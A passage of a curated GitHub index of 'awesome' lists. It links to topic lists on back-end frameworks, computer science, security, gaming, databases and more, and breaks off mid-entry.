href="https://neverinstall.com/spaces/devtools?utm_source=github&utm_medium=sponsor&utm_campaign=sindre#gh-light-mode-only"> <div> <img src="https://sindresorhus.com/assets/thanks/neverinstall-logo-light.svg" width="120" alt="neverinstall"> </div> <br> ^{All your favourite IDE's now available on the cloud} <br> </a> <a href="https://neverinstall.com/spaces/devtools?utm_source=github&utm_medium=sponsor&utm_campaign=sindre#gh-dark-mode-only"> <div> <img src="https://sindresorhus.com/assets/thanks/neverinstall-logo-dark.svg" width="120" alt="neverinstall"> </div> <br> ^{All your favourite IDE's now available on the cloud} <br> </a> <br> --- <br> ## Back-End Development - [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [TALL Stack](https://github.com/livewire/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community. - [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/vapor-community/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. - [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework. - [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code. - [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization. - [Slim](https://github.com/nekofar/awesome-slim#readme) - PHP framework. - [Fiber](https://github.com/gofiber/awesome-fiber#readme) - Web framework built on top of Fasthttp, the fastest HTTP engine for Go. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/academic/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning. - [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning. - [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research. - [XAI](https://github.com/altamiracorp/awesome-xai#readme) - Providing insight, explanations, and interpretability to machine learning methods. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/accelerated-text/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models. - [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. - [Theoretical Computer Science](https://github.com/mostafatouny/awesome-theoretical-computer-science#readme) - The interplay of computer science and pure mathematics, distinguished by its emphasis on mathematical rigour and technique. - [Conversational AI](https://github.com/jyguyomarch/awesome-conversational-ai#readme) - Build awesome chatbots and digital assistants. ## Big Data - [Big Data](https://github.com/0xnr/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. - [Audit Algorithms](https://github.com/erwanlemerrer/awesome-audit-algorithms#readme) - Algorithmic audits of algorithms. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Neovim](https://github.com/rockerBOO/awesome-neovim#readme) - Vim-fork focused on extensibility and usability. - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/godotengine/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/ConstructCommunity/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. - [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter. - [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities. - [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s. - [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games. - [Esports](https://github.com/strift/awesome-esports#readme) - Video games played as a sport. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. - [TypeDB](https://github.com/vaticle/typedb-awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge. - [Cassandra](https://github.com/Anant/awesome-cassandra#readme) - Open-source, distributed, wide column store, NoSQL database management system. - [TDengine](https://github.com/taosdata/awesome-tdengine#readme) - An open-source time-series database with high-performance, scalability, and SQL support. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. - [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments. - [VLC](https://github.com/mfkl/awesome-vlc#readme) - Cross-platform media player software and streaming server. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. - [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology. - [Cyber Security University](https://github.com/brootware/awesome-cyber-security-university#readme) - Free educational resources that focus on learning by doing. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. - [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps). - [Executable Packing](https://github.com/dhondta/awesome-executable-packing#readme) - Packing and unpacking executable formats. - [Malware Persistence](https://github.com/Karneades/awesome-malware-persistence#readme) - Techniques that adversaries use to keep access to systems across restarts. - [EVM Security](https://github.com/kareniel/awesome-evm-security#readme) - Understanding the Ethereum Virtual Machine security ecosystem. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. - [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites. - [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS. - [Directus](https://github.com/directus-community/awesome-directus#readme) - A real-time API and app dashboard for managing SQL database content. - [Plone](https://github.com/collective/awesome-plone#readme) - Open source Python CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development. - [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light. - [Open Hardware](https://github.com/delftopenhardware/awesome-open-hardware#readme) - Open-source hardware projects. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. - [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded. - [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management. - [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user. - [Billing](https://github.com/kdeldycke/awesome-billing#readme) - Payments, invoicing, pricing, accounting, marketplace, fraud, and business intelligence. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. - [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience. - [Internships](https://github.com/lodthe/awesome-internships#readme) - CV writing guides and companies that hire interns. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) - [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data. - [SNMP](https://github.com/eozer/awesome-snmp#readme) - A protocol for collecting, modifying, and organizing information about managed devices on IP networks. ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. - [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. - [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust. - [Golem](https://github.com/golemfactory/awesome-golem#readme) - Open source peer-to-peer marketplace for computing resources. - [Stacks](https://github.com/friedger/awesome-stacks-chain#readme) - A smart contract platform secured by Bitcoin. - [Algorand](https://github.com/aorumbayev/awesome-algorand#readme) - An open-source, proof of stake blockchain and smart contract computing platform. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. - [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/grafana/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. - [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API. - [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing. - [Gatling](https://github.com/aliesbelik/awesome-gatling#readme) - Open-source load and performance testing framework based on Scala, Akka, and Netty. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/0xnr/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Urban & Regional Planning](https://github.com/APA-Technology-Division/urban-and-regional-planning-resources#readme) - Concerning the built environment and communities. - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/javierluraschi/awesome-dataviz#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative 